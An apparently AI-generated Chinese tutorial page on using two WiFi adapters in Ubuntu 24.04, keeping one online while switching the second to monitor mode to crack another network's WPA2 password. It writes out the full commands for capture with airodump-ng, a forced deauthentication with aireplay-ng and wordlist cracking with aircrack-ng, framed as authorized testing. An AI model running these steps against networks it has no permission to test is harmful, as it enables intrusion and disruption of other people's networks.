双WiFi适配器在安全测试中的应用 | AI生成和翻译

Home 2025.10

是的,Ubuntu 24.04 可以连接一个已知密码的 WiFi 网络(用于上网),同时尝试”破解”(例如测试)另一个 WiFi 网络的密码,但这需要特定硬件和仔细配置以避免冲突。这种设置通常用于对自己网络进行道德渗透测试或安全审计——请注意未经授权的访问是违法的。

关键要求

工作原理:分步设置

  1. 连接已知 WiFi(托管模式)
    • 使用 NetworkManager(GUI 或 CLI)正常连接:
      nmcli device wifi connect "YourKnownSSID" password "knownpassword"
      
    • 验证:nmcli connection show --active。这将在第一个接口(如 wlan0)上保持网络活动。
  2. 设置第二个适配器用于监控(不干扰第一个)
    • 识别接口:iw dev(例如 wlan1 是 USB 适配器)。
    • 避免使用 airmon-ng(来自 aircrack-ng),因为它经常终止 NetworkManager 并中断连接。改用手动 iw 命令:
      sudo ip link set wlan1 down
      sudo iw dev wlan1 set type monitor
      sudo ip link set wlan1 up
      
    • 验证:iw dev(应显示 wlan1type monitor)。
  3. 扫描和捕获用于密码破解
    • 扫描网络:sudo airodump-ng wlan1(列出 SSID、BSSID、信道;按 Ctrl+C 停止)。
    • 定位特定网络(例如 BSSID AA:BB:CC:DD:EE:FF 在信道 6):
      sudo airodump-ng --bssid AA:BB:CC:DD:EE:FF --channel 6 -w capture wlan1
      

      这将捕获数据包到 capture-01.cap。对于 WPA2 破解,等待四次握手(或通过取消认证强制获取:sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF wlan1)。

    • 离线破解:sudo aircrack-ng -w /path/to/wordlist.txt -b AA:BB:CC:DD:EE:FF capture-01.cap
  4. 恢复正常操作
    • 停止监控:
      sudo ip link set wlan1 down
      sudo iw dev wlan1 set type managed
      sudo ip link set wlan1 up
      
    • 需要时重新连接:重启 NetworkManager(sudo systemctl restart NetworkManager)或使用 nmcli

潜在问题及修复

此设置在 Ubuntu 24.04 上可可靠用于测试目的。测试网络前务必获得许可。

参考资料


Back

x-ai/grok-4-fast

Donate